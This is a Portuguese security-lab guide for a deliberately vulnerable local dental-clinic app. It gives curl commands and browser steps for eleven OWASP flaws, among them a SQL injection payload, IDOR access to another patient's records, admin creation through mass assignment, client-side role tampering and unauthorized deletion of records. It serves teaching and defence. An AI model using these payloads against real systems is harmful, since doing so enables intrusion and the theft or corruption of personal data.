Clínica Arte Dentária — Guia de Exploração

Laboratório de segurança · material didático · alvos locais (localhost:3000 e localhost:8080)

Regra de ouro da aula: estas técnicas só se usam contra este laboratório, na tua própria máquina. Testar sistemas de terceiros sem autorização por escrito é crime. O objetivo é aprender a **defender**. Ferramentas usadas: browser (DevTools, F12) e curl.

Lista de vulnerabilidades e como explorar

1. API sem autenticação (OWASP A07/A01)

Nenhum endpoint exige token.

```
curl http://localhost:8080/api/consultas
```

Resultado / evidência: Devolve todas as consultas sem login. Guardar o JSON e registar que não foi enviado token.

2. Consumo de API no cliente + segredos no browser (A02)

Abre o site, F12 > Network e navega: os pedidos saem do browser direto para :8080.

F12 > Sources > lib/api.js: a API_KEY_DEMO está em texto.

Resultado / evidência: Tudo o que vai para o cliente é público. Screenshot da aba Network e do api.js.

3. IDOR — histórico de outro paciente (A01)

Na página 'O meu histórico', troca o ID de 1 para 2. Ou via API:

```
curl http://localhost:8080/api/consultas/paciente/2
```

Resultado / evidência: Aparece a nota clínica do Bruno ('Alergia a penicilina'). JSON com dados de outro utilizador.

4. Controlo de acesso só no cliente (A01)

1. Login como ana@exemplo.pt / ana123.

2. F12 > Application > Local Storage > localhost:3000: muda 'perfil' de paciente para admin.

3. Abre /admin e recarrega.

Resultado / evidência: Entras no painel sendo paciente. Screenshot antes/depois.

5. Exposição de senhas em texto simples (A02)

Lista de utilizadores com a senha legível, sem autenticação.

```
curl http://localhost:8080/api/pacientes
```

Resultado / evidência: Cada utilizador vem com a senha. JSON com as credenciais.

6. Mass Assignment — criar um admin (A08/A01)

O campo 'perfil' vindo do cliente não é filtrado.

```
curl -X POST http://localhost:8080/api/pacientes \
```

```
  -H "Content-Type: application/json" \
  -d '{"nome":"Intruso","email":"intruso@x.pt","senha":"123","perfil":"admin"}'
```

Resultado / evidência: Cria-se um utilizador admin. Confirmar com o curl do ponto 5.

---

7. SQL Injection (A03)

O termo é concatenado na query. O valor descodificado é: ' OR '1'='1

```
curl "http://localhost:8080/api/consultas/buscar?termo=%27%20OR%20%271%27=%271"
```

Resultado / evidência: A condição fica sempre verdadeira e devolve tudo. Comparar com ?termo=Ana.

---

8. CORS totalmente aberto (A05)

Preflight a partir de uma origem arbitrária:

```
curl -i -X OPTIONS http://localhost:8080/api/consultas \
  -H "Origin: http://site-malicioso.exemplo" \
  -H "Access-Control-Request-Method: GET"
```

Resultado / evidência: Responde Access-Control-Allow-Origin: *. Qualquer site no browser da vítima chamaria a API.

---

9. PUT/DELETE sem verificação de dono — corrupção de dados (A01)

Reescrever consulta alheia:

```
curl -X PUT http://localhost:8080/api/consultas/3 \
  -H "Content-Type: application/json" \
  -d '{"data":"1900-01-01 00:00","procedimento":"CANCELADO","dentista":"-","observacoes":"dados corromp
```

Apagar consulta alheia:

```
curl -X DELETE http://localhost:8080/api/consultas/1
```

Injetar registo inconsistente:

```
curl -X POST http://localhost:8080/api/consultas \
  -H "Content-Type: application/json" \
  -d '{"pacienteId":999,"nomePaciente":"","data":"invalida","procedimento":"","estado":"NAO_EXISTE"}'
```

Resultado / evidência: dados de outros pacientes alterados/apagados e registos órfãos. Estado da tabela antes e depois (ver /admin ou GET /api/consultas).

---

10. Credenciais da BD no ficheiro de configuração (A05)

application.properties tem utilizador/senha do PostgreSQL em texto, versionados.

Resultado / evidência: Quem lê o repositório obtém as credenciais da base de dados.

---

11. Token fraco + enumeração de utilizadores (A07)

Mensagens de erro diferentes revelam emails válidos; o token é previsível (token-<id>-<perfil>).

```
# Email que nao existe:
curl -X POST http://localhost:8080/api/auth/login -H "Content-Type: application/json" -d '{"email":"nao
# Email que existe, senha errada:
curl -X POST http://localhost:8080/api/auth/login -H "Content-Type: application/json" -d '{"email":"ana
```

Resultado / evidência: Respostas distintas ('Email nao registado' vs 'Senha incorreta').

Modelo de relatório (um por vulnerabilidade)

```
TITULO:            (ex.) IDOR no historico de consultas
```

```
ID / OWASP:        V3 / A01 Broken Access Control
SEVERIDADE:        Critica | Alta | Media | Baixa
ENDPOINT/PAGINA:   GET /api/consultas/paciente/{id}
DATA / TESTADOR:   2026-10-27 / <nome>

DESCRICAO:         (o que e a falha, em 2-3 linhas)

PASSOS PARA REPRODUZIR:
  1. ...
  2. ...

EVIDENCIA:         (comando usado, resposta obtida, screenshot)

IMPACTO:           (que dados/acoes ficam expostos; quem e afetado)

CORRECAO RECOMENDADA:  (ver docs/LAB-VULNERABILIDADES.md)

ESTADO:            Aberta | Corrigida | Verificada
```

Sugestão de severidade: #1, #3, #4, #5, #6, #7, #9 → Crítica/Alta; #2, #8, #11 → Média; #10 → Média/Baixa.